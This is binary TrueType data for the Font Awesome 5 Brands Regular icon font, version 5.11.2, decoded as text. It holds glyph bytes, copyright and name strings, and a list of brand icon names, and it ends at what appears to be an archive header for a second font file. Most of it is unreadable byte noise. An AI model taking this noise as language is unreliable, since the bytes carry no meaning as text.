`t          2#"&546"32>54&#5#5idfjVuwT4]:v	hkge-zQSx2^;Uv++P**     # 7  2"&42>7&'327#".547'703654&#"632&ΑΑ%E5$!.&'O3XwS4YJ!D. (0Α/` ,4##0`L0Sw2*!4)          ( 4 ;  2#"&5462>54&#"2+5254.+'2+#526&+idfj4]:vUVuwFF56"	^2
"?hkge=2^;UvzQSxl'Ol.,C)      , 3 7 ;  2#"&546"32>54&#".''574575#5'?'5idfjVuwT4]:vM :D	@?;Cqq(%'Y-hkge-zQSx2^;UvF@F>>f,.-/:5++         <  2#"&546"32>54&>32#".'332654.#"3'idfjVuwT4]:v$#5<*+'>4$211hkge-zQSx2^;Uv*++!;(.$.(+",11         s  2#"&546"32>54&2742763276;#&/#"'4'#"'4'"5'#"'0&5'#"/+53767463274>276idfjVuwT4]:vQ	
:3	
				
4-
hkge-zQSx2^;Uv5l<

P@
	a,	 \

LH		W_WT

Y9		LbE\Pb
      _ s  2#"&546"32>54&3#&/"/"5'"/"/"/+53767627427627>7427624+54"#";2=idfjVuwT4]:v;33+Fhkge-zQSx2^;Uv,S@:HQIFN+
I	Z

9PCT^-
E3
]	       4 < @  2#"&546"32>54&2+"&=#".=4732354735##3idfjVuwT4]:v6)7lllhkge-zQSx2^;Uv66se(C      ( 1 9  2#"&546"32>54&2".4>"76'&3254idfjVuwT4]:vr:*		*:*		G,6%=	,hkge-zQSx2^;Uv<+/6/++/6/+Yd	.iY       ?A 9 A M a f  3#7'#&5#"&547#"'#6=3632672354#"#632'3264&"75"326%673#"&54632'.^"c$=) ('  &.
C)!"C0%7--/d)+!*)*)$+"--6t
B		
P($	!!+m00)!$*&&      O `    $2"&47'.7654'"1'&7'&'54>767'.?4763226?6'67'&3&545'7654/&#"32?32?322"&4

$.<,.

	(
	7R"#	l

5:0'
&,!K<!"70$
]

%`t      4 `  '2>73'.45454>?62<.'&'.3547635476
A)fM
316
./KDD/.H2,
%-7..-
 4r??$r      E  2 E K  %#'#5.5463253:654&#"22>54.*#27&#EXCp(!%cfxON-E8
		
Ft`[	
	R9rK	>>lGQr4ZC'A%#HBCN]      < _ i  !!%5"'&'>54&#"'22#23235".4=372><1#3#"=463274.#""'5632@<		$

d

%@r!m.*
	
 -E#       # [ g  7'&'&7>'&'47>76327'&5<5&'&"#&=76767676'&76760'.672763$#(f42,E%? 	d(\N;	,:m4!Q!e"(!!%$,y.	"s7%G.+'
1+1,i7 *%        c  2"&4264&"2"&4264&"%'''"'7&'7&'7&'7&47'67'67'67'627777'ΑΑƍƍ|||J=7$$6>JMRSNJ=7$$7=JNSRΑƍ?|||'$7=JNSSNJ>7$$6>JMRRMJ>6#   '      '?/?557`$##T))33d#$$T33),,+y--::"++,::-        D L R X ^ d j  "&462"264'./'6373#'#5&''7&'#5367'76?#.'%#63&%3'6&'756_ΑΑ8-18.%-D ;;	RR	;; ;;	RR	;;"
""%.8--8.8ΑNr""+R	;;;;	RR;; ;;	4-8 
%.8p.%-88-%L""         2 J s {     3&=4'&'&">7#&#6726&'676&'676727""'&'.232.#"'.#"&'5>326="264&2"&46"2642327367632&#"'5.'"&'6
&	O	&)=!(&?
:(!1	&(:
?&(!=""7,
* *
xP5[=
y!'))&@@L""3


++
       r  %>7#./.>?.>?677'7'=57&'>&'>&'>4'

#,F**E-"

	
&

		"????,
	J	(&#+!''!

'5,* 5)#		0[>060+!<-'D$0		7...7		0 U*1P-1-713D#&'544J  {  &76567<'45&'&54545&567>767>&#0'&5&'&7674'&'&'&676567>75'&'&/7<5/.454'&'"'&'&?'&'&'414767676367654'45&5&'&'&'&'&'&'&'&/5'7>32674&'&762763676?32?#"367>7676767674676761#"7&54'&54'&5476'.'4'4'&54'&43607&'.66'&'67&	

	

			I	W	D)!
I&+%&#%@	
		
		8	'						
	&- 	%		9,:L8'', %%   	  ^^K  2322230##"'"'*&#&#&'&'&'&'&'&'&'&'4&54&45&547<65<656167>567676767672636212":372676767676767676767676'4&1&'&'&'&'&'"#'&67"#"'&'&'&'&#4.5&'&'&7676767"'041465<5<5<5456767676767654'&'&'&'0&673676745<5<5<645<5<5<5454512174767676763632367676?0'&'&'&'3"#"'&'.'&'676767'&'&'&'&'.'2303232763667676767464567<5<545<54'&'&'&'&'"'47676767610#4&'<'"#*#"#"#41>12676345"'.#4&#41:3670254>721633230"""02220#*#"#"14=46123#"'&'&'&'&'&'&'.50'&'67<7676%0#&'"/476767676767676367676747654'&

(+		5
+


+		
	
(!		'/u
		
		
	f		 "
		
	&

		
				t		





	'		2#
,A&


-<	#			2
	

	
		


	

:
$%		

			
		

	
&&,

 

	

	    j p  66&67676327676765&'7>767677676'4&45>7654'&'.'&'5>6767`I\*,(!B.%$6!#	*/1!-0!(M;753	93-!" 


 '
#!
-*6	$/($/<4-I#":,14^0
     ! ) 1  '62777''''777&47'6"264&2"&4w[[wF;FF;Fw[[wF;FF;gHIfIH44H4F;FF;Fw[[wF;FF;Fw[[HgIIf%4H44H         + 5 ? I S [ i q    2"&4264&"%#3##5#'353#535##3353'7'7'7''7'7'7'7'7'7'7'7'&2"&4#535##3353'"353&2654'#3##5#'?'7'7'ΑΑTT0v%IS|S			x켅BTƝ(u4T_Fp?}1TT@s,	Α¿#/.R\8P]		

R	!3R2RARAU}XM<3?8 XF	               ''.'4.'6'777''4&467&7467>'.'.67'77'??'?67.67'''''776'7.'5'7'677&'67'677&'6'4&''&'47'67&'6			''
Y:k, !,l:Y
'
E
	(
!'	,' ((&""!#	%
% "!=2b']<&1xx1&<]'b2=!" 
%	#!""&(( n,>'	L
'J
'? 
      # M q   7"&4632.4>?3:1>'.0#&7"#"&54>32#"#7>.'.#"56&546212#".'&5./>7>5<13L M)u$=,#	[
$46	

0		M'pH
x >-$	[%6N$\&6}	M'wG
	 ?.$		[%41
	M(m        + 3 9 ^   
)  %&'&76&"&#'476322'"#"'&6"&7662"&31&'46&'&#"#".4>76%2.'"&'4547'&>017626'.'67>?&'&6'6720'&676'&'&'&'&'4'&'&#""#.#'"76767676.&'&27'53>2241&#"15674#"1675#K8	
=

	
2
	3=E>4)(22,,?"	 	,& >	8<1+Jq	9,'	
H(
(	((		G	 -/ #,37,!#	
:"qT1	6!Fa
-				
       '  ?'2"&45'5'5'757757"!!"EΑΑ;<<;!""!""B!!ΑW;X<KK<X;WA!!AA!!A    r   ! ,  62"&4462#"72"&5>2>54&"j?$B/ih-P $=#MnNN/B#JggJO!##=$6MMmM    
 (  %#"&462#.5467552>54.'7"&&6'SuoPmm<S*IUH*!.+&6''xSQv&??(Z=*I**I*4,Z   " ;  #0#"&4632#&#0#"7#"'&'.5&7632V!gg(`dz7%"Ab@ &HIΑ%QJ 4!!/+
"=      ' = O  ?62"'764&""&46"'&4622?6"&4?622?62&4?62"'&"R:w))R)R:w))R)i:Rw(x_:Rw(p       / 6 = F L  6/.=467*#35326&'>&'*#3533'2+5'2+57"326&2"&

l u *		C
		
 !6**

l

m

m		\f$$e# f""T!&!(!55#$$       . S  2#"'#"'.4&54632>32>654.#"#'&"#'&#"32?3327&1
	C==C	3%-	$
.8
,-
:
-,A !'(
" ~/$ N+F66E7"# -##s  %"uu"%     ?B  : U q  0467>23>'.'.'&"+'67>27'#5<>7>7>7'&'&#'7'6767>
r B	B #)S$*+	
	SS#+,
	<	#=11>mm	
S{
=

>	{|	?

?	        2"&46&'&"&'.26ΑΑ
ARA
PfPΑΌ'33'
1??      L  #".'&4>3226'&#4&<74#"#"#6=276&#"133:325&53"
gagb%P%P@&m5?&m5?$VB%/i$ta-0'     2   +"/+"54;276;20Cn33E6lΆ	      "  2#!"&54635#'#3577#5##R$=>=>>>=\>==.MMxMMxlii       # '  #'#735737537#75'3#_lVb(m{WaCHU4N4POI 6SPߌHH@\?q?235';er5F=f5    +Q   G T `   3#'#75#37'2#7''67#6;65#>7>3732#%'67>''>+#"'&'236=#"&/35"'&'26?#036z1*aIZ=6@B4X3	
)
z
l
&)t,+<o,^	!A"	1L3
'#(	 !:LI
Gd	e    5 >  2.'>?#535#5##3#3&#"3267#!"&5463&632#"z)d
Xmm3nn\
Q.:-.0-MKa ))#-"K7?C)$	-33/#/-$"6 )4)! I  d  #n'1Uk  %'#"'&54&5&7461/>36767'767'36&'&5476736'>6762#'&3&476726#&5&#0&'&#27"/67676'&7676'6=&'/7'7*#67654'&'&'&#"'#&?#7"&#572363236767'"'5767"'"'&#"#7?7>4.5#&''.#'".'&'47&''&'367.'''2>7'2&/?&+57''#776.'&'.'77#6'.22077'327''7'3''76767/'#7#"#'67&7'&66'.67'&'&6327'52&#"#5#63'647674>7632.73230765654'&6?#&3'&'&547&'676	]\BA(	!-5#!
				o 	
(	

)/		

	( 	

8:
$0@8'&,	
)

	/ 6,	 	
	
I,,
!		+&+
			7'F
	(	 	
	\x<=Z-#		&-
	
	
	




	 
	 !*
$&



<
)
!$,,			

+/	 0	H
v	%03

21		
	C	

   m p   !"76743765&54'&'3#6743627>7>46'4&#*#.'&3!#"#23#5232'0&'&32&2>767&'.'+er)"s
7S0,
td				(	
k
IH	

	
D-<@')
h       Z&G!-1  #.5"=4547>7'0.#0>162;2='#"'&'&#"2*&543:65654'&"#&72012=432720;&'27215"5&'4327&'&'0.'#"#6272'&'4&'"013'&672=674#"#"'67625654#&54632'>3"=&'&7>3201&'&6#"'>5454'"572725454'"4732#32#*#"'&'&*32%&+"#&76'&'4#"#"#160+"72676742325454'"7032#";276"'67236"54&#&#"7636'05&#&36762#"#"43656'1"54'&767456'.7623>76"+"&3656'4'"43:'32#"#"4;265454'"#&63230#:3>7+"0'&1&541474+'3676&'&"&5653276&/"326&3645.'	gi=81	aa  .		0()'#Zc4W
&(*'+_



!	
"

+.e		+g!"	
&$(YeVj
	U{}~:<# t8787O&	
CFGC=#'SAGJBJ7zH1					
!

"R%&


)/('E3n
q!:g
	
&3:$&e
    Z& " ' [ r ~     '<JX_l  %".5&&7'46?67632766''7&5&'46&'.<.523036'74'6'67&672>30?2&&&2#"'75'654%'4>2&16&#"&'6'3&74'&7&'&'&7276&5&633#65#6'&67"'6&261&>&'707&#&#'5063632*#75'35'32'22>=4.#":>5#54.*#3#75'3#372#".>26&"'#75'37'3'&'320637+676=40:>4."&3#.'#75'35'#6'254.*#&63&674'&':	$	'		!;//
	
*
	
		89e<QI4%#J*,-*I!
#',')r		
	
	
31NL! d	
l	 	<	M<N			B&&U	'"O	U,0	L	'*i		    	  # 5 >  6+53%2#!"&546354&+32675#"735#535#57#'#r(n0/e?		>5  &! &	F	hhGj	}&&srr       ! G K O  '36767&'&7>672&1&'&67.'.'1'&'6	37' 7:
 )"AJD!		!&	5=*   9

&	&K|D!	%	6	        	x   2 K ^  66'6%'#"&/45467'&54>67676>7>.#0#"77''77''77'?(
Wboo	w
QVRO9
X2$s0mC=J!q:	.>/.18'8
,-2$3		$!
,s,--,~,'    }   % W a h   *=U`W\by  76&654&'&#6'76"10'4?#&'2#4'5654'&'654&#"#./>6'&7'7'>15.'675&'#&'56767.#5675".'565'#34>307&'.'&7"2#04/5"267&'4.17676767#'4.56461##&563&'5#6376535"'&'474656'.#672<15&7507&7>7#7.767.7&#76&'&&561"&'2157>7202'3>17&67>7&'&75."&7#76'&7627&'24767?.3'45'3654&5473.#&7'7'"'0#&7''''7''&'.?'>0327'7'067''&/67'7"'76%63''>'2#54.#"#&'56#"7>'&76567"&

\9+aWYc.:	3oI9E|,r6CIo*		8
7	
	&	+		.

	&HL%CA"	;_(
!$$*"

=%[UCB-K+m	AnI3,MsB<27

@		 f		D(P
G,sR	


)	1G9Si	2&G		 
		

-					
P7y


Y%
\*
				/B%=A=+$	*

;
!^+XF	D;7%+P		'/#b	(&|2=;
(P@(
7   )    %'73# 7 F!v'a_jk]     A 	  2 N e m         Ql0:  ?'373'7'373'2#"=432+"54"2545<632+"=432+32+'+"5'#+"=4;2'54+327+"5'#+"?4;23'+"=#"=4;2+2+"=4;2+32+'2+"=4354"2'+"5'#+"=4;2'2=4+72+3+"=4354+323'7'3?#"&'&'>7&'.7.5467&76326&'."&'>%16767632.#"6'&'67#"'32767>.'&'&'67&'.'&#"&'67&#&'6703273&'27327672767&'6753'32+"=4;22=433'7'37'7'?2+"=4;21+;2+73'7'3:aNP	UJ.

`



--=8 "b2-(*#	1A7 "a3+*
)(I3*+.X&%0-XT$ (
 ( 	
4:9:$$$$	m6
(
$<;		;;*265@?((4$$@	!
@300/[+HF	?@	N>$2[+GG	>A'Q;
">@6'T
">@'
	+--	_4422U?d        
  3#'#<ުlJOM          7!!"&'%32#7;;)X=tGgf G       7+"&?>762+"'.>2		}b			'		6;J*H3G<I     ?  %&'&#654676&/76/?6/????
_
ii0
4
+&(7:g`#qg
]C

 <PHx
>
<Z           # + 3 7 ; C G K O W _  573'7#'5#'73?5#'735%53#'%'#57'#'7'57#7'537'#5'53'357'#573"Lv -#78-88ZL B8

P [Z ZZd- M!LNZZ  L/-!mj87,z P!Z^Mllv88


-78-
M -7-
-N[[.N [[ LG- MdO Z[[- Mj l/ -77* O [     # F  767>'&'./&"&'&'.?>>7076($<?W0732'"4!j($<?W11933):"	j$.r
BF.r	A             + / 4 8 < @ H O  ?3%3#73+732%#73#576+732#"7>533613373'3#73'3#7333#"&7;VRD#d)3
F>(>M[pu-	N;ZIIM	R:'(:8^75<
7N55      .  7"1"&5064.'&>1250616232>1000#0&XVWAG HIgEESVY]w<~eNNf0z?}     Z  4 8 ? K R ^  %#'#5##"&'#73&547##53#3>>32353#3733.26&#"5#535#535#737'#3'7#'#3J6@"V#*@511m<732	8w>/&!8878_18228(.-&(..&="!%#
M)L1+E 3,"(.99,"4233         $ * 0 6 < B I O U           2+"&=64/'.6'&57'67'67'67'67'&5547'&/67'726&+"=46>54&'&+"#";2#"&#36=367'67'67'67'67'67''6765']77"#5"1$.'.4178";@H"+		

+>*!!
.OB		$	6#0$.(26)@ \8!6%	$#$(6
8 %\@I	,	/	=,8/!


>38$#$(5*	A     k  $  #"&463"&463".546;2"2"&4U2G22##22#'2##2':F22F2 #22G22F2(#22#'2F22F       ' / A I  2#!"&54632=4"2=4"2=4"2=4">.""'&"6754"2!!!!KKJC
02
:<!!!P!R-
))
0         N  2#!"&54634&32>27'#&5676.7#3547#36737676&	"	D
 !M	 ".-	nr45&($O$] g$
          %?&'&47677'IM&LLLJM&|LLL  
s C R  %.'&76'&'&756'&'.676>'&6332>7262654&+"3q#1+-1(''(1+,1)$
55)"55"%%{;
0,A@ -/";,-20-VV-02(%%    l t |   *6>KWcm  %+"'&'.'&'.6?4>7&'&'&7&7&7&7&66366632362636730764622>6626'6.>.677&'>7&'67"'67&'67'67'467'67"#"57&&7&461&7&7&5&&2656&'>7&'>&'&'&'&'&'0&'&#'''#&7676'&6&'.&>.26'4&&754&"266&'&67>&'&t
%$$%

	
				
%+/:%.$
)=D			

	

$"$D=)	
	


	7#1.+p	
g
!	-%%.%.~&%(I#1"#1"R	&
#
	
%2$		$2%
 		
	
	



	
	
	# "%'^/+/*
!#
	
	l
"!
	
	
&$(%% )$l*'+.+			~  -*.
Y
$)'      5  %254'.'.#"#"&#"7#".54732654&VRB
	*6I}7+<p@"qMSF,/\"J)9
	)Y;;(5    	   
       7#%'3?3#/?/N[{[=QZXZ$f+j	BX	vq&0S      %+"&=.5462>54&"R;`;Rww()+3+=qffq=TwwT## %%  }b k w    7&'367#".#.#"#.'&676&'&32>36#"&'47>'&'&'&767>6&'0#"72##".5463224"[&"0
74
	1	.	%&66
*&	
$$3	J$D33?I<.$
&Y
<		 
 /	E&-		0($#>04"/


         ) 1 > J  2"&4$>.2654.#"7&47'>.767''7>?&'&'&6ΑΑ3	%+''+%%.R+/2.%%2/+RΑ?				2(^(2+E$4//)e4$)0   |  ' ; F S k  753"&=36'>.5!5&>'>'#7>54.46&'56'4.g!#!_J[!,*f'\TY%1,*"'- $/!!
	O;#7${gh(,	
+!("'"3#E_	
	
		       %`  5 H  %'&5>.#&'4>76;2723$#>7%!!$7>&'.#.'&/%:'Y44 %f"
!DY
QH5
,]#	       Q Y   %'&>?&/'&7'.67&7.76767>30767"12676326"&462.#6'676&'&&'&"&"7327676767>$0
/
		\ΑB 	
%
/"	g	
5!	
		'ΑΑ
/ -	"1

	    	 1 K  7676'&>'&'.#"767&'&63270#"'#"&767>32%#	
U		j	/&'.,
	))"Bd	;179971;j$&(K.%-$$x2J%;38,);".C%I2P>>P2 %$EU   	    ? G O W       %'"'&'&''&7'&'&767&'"6767&667667>'&'7&'7'&'676'&'47.#267&'&&'.67&'672>1#."6&'&2&27&{%' 44#	&W%8!4)+
!		l!%	/
1$Dc;8	4A0!"
"DA
'.	$$H	+$&%+H/&;2,
	&.:>D $1*j+i 5)''	O_JO ::+'M.&	
	3'
         ) B  %+532'#532"7#!"&5463!24'565<.+:62>76$	QQ2KK		,,,*,n1%
.	5Q	
DH	,,*,,9
(     + 9  %"/&?622?62'"/&?622?62%&?62"'///CaaCCbbCC[[[[       # +  2+53!#54632#532#14&#5#4&#++%@=X+?,a+pP+*@@%W>->aPp     x   #*"#7&62326514.'0.'&&'&'&'467:62>7>5454>2#+"&772'.y	mO"	
	6	

		 A	
(H	(<o1
+.(
	
6wA
   ) H y   632#"&5"&5#".5"&5#"&=4632327277 '.67672"3>57:>4&'."&".''"15>7H iO1))1#C	$;<
$	C

	#NN#

	,	G,	8

8}G[M{f")	%%
)"	

	/)       E h    
0Lko  7#6236#"'&54626'&=4%''.'.67&>3263264'&562506350'&#"'&1327"11130>32&176=4.74+";257&#"32765'4##"53250<.254'&5432;'06150'&#"#"'41"374+47632572'&#";"#"01376767325&#"32767&54+";2=476256750/#"432125656#&327617&#"132765'4##"532505<.2#e@
&6
#)-("#:		8":"/
	#E8"	 	 $

8%"		

	P
					6*

	/6%$

BT!#19:>2 #	
#?D=	
			"
O2	2
:
4
6
85'(         `   :  7#"&46;2+";2+"&46;26&>732>=4&+64'32#r);;)r);;)HA	v!.$;R;"(;R;"x/	x./!%         2"&4%>'4&*0.'&74676&676/&76#".76&"767>74>5>56&'>36ΑΑ~

		1



	'!	

Α

	*	
!144	'7'$

#	   & E K Q d  %#"&'*'#"#.7&'&632>7>32>76.#"#623>32&46646&67>76"&>>
?%		BY0N|t&5P,@n"<2
H[$#.( 3@r-*12-I'`	).S>%M;* -	!!!!)	(%        0 V  '&6727632#"'"'.767".'&63:%&5463237632+"'.5463033267*P_

_PT
	-*vOQM
n&'		(!I	
H!n

	*&	   +  %"/&4?276&'576&'6&'762		2	

//23(					3
{$

	%	z..	24)     
 1 = A E  7+5327!4.'.5432;4&#"#"5#32>74&+3532>7#7#3@	 	"~4!100*@ 
	D/N    6 C N V a n w  %3#"&54632#.#"54&#".5467>2#">'32>54>&''"67&3>.327.7367&'|`tt`|nVju1_C'$-4-IJ,5.
Qhd$+!	++*r)*"@&YvS[tt[SHMujEb61$'-.4!-/4
1L$%"!D\%##3$$#&D$&  9   % 5 < H  2"&467.54>32676&+%'#37377#7##"''2+?232+7褤X#	%.M&	 %$rh5\#_.	< ##&ݸ%%Z##ZTR'#=x9c	0     `9!   & < F P  373#'#'#%2+52>54&/+53:'30>5.#6654&#/*)-.-,# 

0/
		.4<

 vvMMPP'(

&
m    
    (  2+5&2"&45#6264&"2654.+')+#/`ΑΑ1=4$Q,!Α>*.      E w  #"+"#"&'.'.54=454>7676767>7232;23276'&'656&'&'&'.''&'7367>


F;:
LS,/9	
N?P+>QA$ (7v"#N$/S<#!-c0	5#"      W  2#"&4654'4'&'&5&+1##"+"#"'.'&5476?514/"73>͑.=L(g 

 =77=f)K=.y	)	)	)00   V         6                       $       n       &       7      
 ,       	       M       s                     '  	   4    	  : Q  	     	  H   	  :2  	  L  	  4  	 
 XR  	  .  	  *!  	  c  	  :{  	  *  	   C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  R e g u l a r  Regular  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r - 5 . 1 1 . 2  Font Awesome 5 Brands Regular-5.11.2  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 B r a n d s - R e g u l a r  FontAwesome5Brands-Regular  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   B r a n d s  Font Awesome 5 Brands  R e g u l a r  Regular  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  F o n t   A w e s o m e   5   B r a n d s  Font Awesome 5 Brands  R e g u l a r  Regular                                    	
  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./012 3456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~twitter-squarefacebook-squarelinkedingithub-squaretwitterfacebookgithub	pinterestpinterest-squaregoogle-plus-squaregoogle-plus-glinkedin-in
github-altmaxcdnhtml5css3btcyoutubexingxing-squaredropboxstack-overflow	instagramflickradn	bitbuckettumblrtumblr-squarewindowsandroidlinuxdribbbleskype
foursquaretrellogratipayvkweiborenren	pagelinesstack-exchangevimeo-squareslack	wordpressopenidyahoogoogleredditreddit-squarestumbleupon-circlestumbleupon	deliciousdiggpied-piper-pppied-piper-altdrupaljoomlabehancebehance-squaresteamsteam-squarespotify
deviantart
soundcloudvinecodepenjsfiddlerebelempire
git-squaregithacker-newstencent-weiboqqweixin
slidesharetwitchyelppaypalgoogle-walletcc-visacc-mastercardcc-discovercc-amex	cc-paypal	cc-stripelastfmlastfm-squareioxhost	angellist
buyselladsconnectdevelopdashcubeforumbeeleanpubsellsyshirtsinbulksimplybuiltskyatlaspinterest-pwhatsappviacoinmediumy-combinatoroptin-monsteropencartexpeditedsslcc-jcbcc-diners-clubcreative-commonsgg	gg-circletripadvisorodnoklassnikiodnoklassniki-square
get-pocketwikipedia-wsafarichromefirefoxoperainternet-explorercontao500pxamazonhouzzvimeo-v	black-tie	fonticonsreddit-alienedgecodiepiemodxfort-awesomeusbproduct-huntmixcloudscribd	bluetoothbluetooth-bgitlab
wpbeginnerwpformsenviraglideglide-gviadeoviadeo-squaresnapchatsnapchat-ghostsnapchat-square
pied-piperfirst-orderyoast	themeislegoogle-plusfont-awesomelinodequorafree-code-camptelegrambandcampgravetsyimdbravelrysellcastsuperpowers
wpexplorermeetupfont-awesome-altaccessible-iconaccusoftadversalaffiliatethemealgoliaamiliaangrycreative	app-storeapp-store-iosapper
asymmetrikaudibleavianexaws	bimobjectbitcoinbity
blackberryblogger	blogger-bburomobelexperte
centercode
cloudscale
cloudsmithcloudversifycpanelcss3-alt
cuttlefishd-and-d	deploydogdeskprodigital-oceandiscord	discoursedochubdockerdraft2digitaldribbble-squaredyalog
earlybirdserlang
facebook-ffacebook-messenger
firstdraftfonticons-fifort-awesome-altfreebsd	gitkrakengofore	goodreadsgoodreads-ggoogle-drivegoogle-playgripfiregruntgulphacker-news-squarehire-a-helperhotjarhubspotitunesitunes-notejenkinsjogetjs	js-squarekeycdnkickstarterkickstarter-klaravellinelyftmagentomedappsmedium-mmedrt	microsoftmixmizunimoneronapsternode-jsnpmns8nutritionixpage4palfedpatreon	periscopephabricatorphoenix-frameworkplaystationpushedpython	red-riverwpressrreplyd	resolving
rocketchatrockrmsschlixsearchenginservicestacksistrix
slack-hashspeakap
staylinkedsteam-symbolsticker-mulestudiovinarisuppletelegram-planeuberuikituniregistryuntappdussunnahvaadinvibervimeovnvwhatsapp-squarewhmcswordpress-simplexboxyandexyandex-international	apple-paycc-apple-payflynodeosireactautoprefixersassvuejsangularaviatoemberfont-awesome-flaggitterhoolistravastripestripe-stypo3
amazon-paycc-amazon-payethereumkorvue	elementoryoutube-square	flipboardhipsphp	quinscapereadmejavapied-piper-hatcreative-commons-bycreative-commons-nccreative-commons-nc-eucreative-commons-nc-jpcreative-commons-ndcreative-commons-pdcreative-commons-pd-altcreative-commons-remixcreative-commons-sacreative-commons-samplingcreative-commons-sampling-pluscreative-commons-sharecreative-commons-zeroebaykeybasemastodon	r-projectresearchgate	teamspeakfirst-order-altfulcrumgalactic-republicgalactic-senate
jedi-ordermandalorianold-republicphoenix-squadronsithtrade-federationwolf-pack-battalionhornbill	mailchimpmegaportnimblrrevshopwaresquarespacethemecoweeblywixello
hackerrankkagglemarkdownneoszhihualipaythe-red-yetiacquisitions-incorporatedcritical-roled-and-d-beyonddevfantasy-flight-gamespenny-arcadewizards-of-the-coastthink-peaksreacteuropeadobe
artstation	atlassiancanadian-maple-leafcentos
confluencedhldiasporafedexfedorafigmaintercominvisionjiramendeleyraspberry-piredhatsketch
sourcetreesuseubuntuupsuspsyarnairbnb
battle-net	bootstrapbuffer
chromecastevernoteitch-io
salesforcespeaker-decksymfonywazeyammergit-alt	stackpathcotton-bureaubuy-n-largemdborcidswiftumbraco                                 k%    ٮ)    ٮ-PK     N\+P    webfonts/fa-solid-900.ttfnu [               PFFTMȔP    GDEF *    OS/2C8  X   `cmap$*/    gasp     glyfT  +` headG.Q      6hheaC     $hmtxil    locanF  P  maxp%S  8    name$&, |  +post1   .   J|"_<      ٮ)    ٮ-                                  P              @          Lf   GLf                            PfEd   . T      :                       @                  `             @    @   @                      @                         @  @                   @         `  @   @                   @@ @                                          @  @    @@            @     @           @@   @           @    @  @                                                                          @ @         @ @ @          @    @  `                             @  @      @  @  @      @                     @      @                          @  `               @                  @          @  @   @     @                                                                                                                         @                           @  @            @  @                            @                                      @        @                       @                          @           @                   @       @      @                                                            @                                          @  @@@    `  @             @  @                 @         @                              @       @          @        @  @     @      @                                  @  @  @       @                                                   @                                              @     @      @                                @                  h         @       @                     @                      @         @           @       @   @                                          @              @                    @  @                                       @                                  @         @                                    @           @                            @      @                                @                 @         @                     @           @  @             @@               @      @        @    @              @     @               @                      @                    @                     @    @     @                                                                @                        
      
h     >DN[^n|".15:>DFKNY^e-69IN]lwz(8[]`b46:<?ACEGKNPSX]_bfmrty	!07<ADGJOQUX^bfkmotvy| ")/=@CGMSV[_iks}*/>JLPScmy}   !AHP^`p  $037=@FJMP[` 
!38@MQlqy	(7X]`b369<?ACEGKNPSX\_afhptw}!.7;ADGJOQSX]bdimotvx{"(.;@CGMSVZ^ikr|)/>JLPScmy{ |{zywjihd`]TSRQNEDCA?431,+%" jigfH&
}|{ztfa][ZYXPLJHF0%$#" 	zwutrhgfedc`][ZWUNMKA@;:41,(
|ncb_]NE:965,'


                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           L       `      d          H    p  	  	  
        <    D  $    L    H        p  <          |        p  8      \          \     (   p     !  !  "   "\  "  "  #D  #|  #  $0  $x  $  %   %l  %  &  &  &  'x  '  (  )   )  )  *H  *  +  +  ,`  ,  ,  -  .  .  /<  /  0,  1  1t  1  3  3  3  4  4  5<  6   6  6  70  8  8  9\  ;  <h  <  =   =  >  ?8  ?  @  @  A  A  B$  B  C|  D4  D  E  FT  F  G<  G  H$  H  Ip  J  J  KD  K  L  M  M  Nh  O  O  P0  P  P  Ql  R8  S  T  UP  U  VT  W   W  W  W  X$  XT  X  X  Y,  Y\  Z  Z  [,  [  \\  ]   ]  ^L  _@  `  `  a  a  b  cp  d8  d  eX  e  fX  f  gl  g  h|  h  i  i\  i  j  j  j  k,  k  lX  m  m(  m  n(  n  o0  p  q  r$  r  sT  s  t,  u  u  vt  v  w,  x  x  y<  z  z  {t  {  |  }8  }  }  ~X  ~                 p    h  $      D    `      0    H  d    \  @  $            X    0    8    d        d      P      ,      `    |  |    T    P  D      h        4  @    <    8    T  `    l  \      T      @  d    |       `           4             @  0    ¼  ü    Ť  ,  Ơ      \  P  0      ̈    ͤ    4  D    М    Ѥ  p    P    ,  Ԑ    ՜  L     t      |    ڨ  $    h    `    ޴  8     |      8        h    l    (  t        ,              \  H  |  T  \  $            D      `       t  |           4   0  <  	 
$ 
   x   @  0   \   \  H  @  \    t  @  | L  \  ,    t   D         !h ! " #l $@ %P & &P '  ' ' (t ) *X * +\ + ,4 , -X .H /X 0@ 1 1 2D 2 3l 4 4 5 6P 6 7| 8  8 9T :D ;, ; < = =| >$ > ?l @ A8 A B< B C D D E F G HX H J< K, K L| L MD M ND N O P8 P Q R R S( T U U Vh W$ W X( X YD Z  Z` \ ] ^ ^ _@ ` a at b b ch c dd e e f g8 g hH h i( i i jl j kD l l m n, n o\ o p p ql r0 s s tX u v< v wt w x\ x y z {< { |t | } } ~ 4           p \   P          L    h @   0 ,  L      ,  P  p      < h @  d    x       D 8 4     4   4  8  l      8  4  L  T 4 Š    h   Ȝ t  ʬ h   p   P  Ќ  ќ Ҡ Ӵ $  t   h  x $ T ( ۰ ܀ p ,    H X 4   H  @  8    <   h   p \ |   p  d d  H   P    d    |  
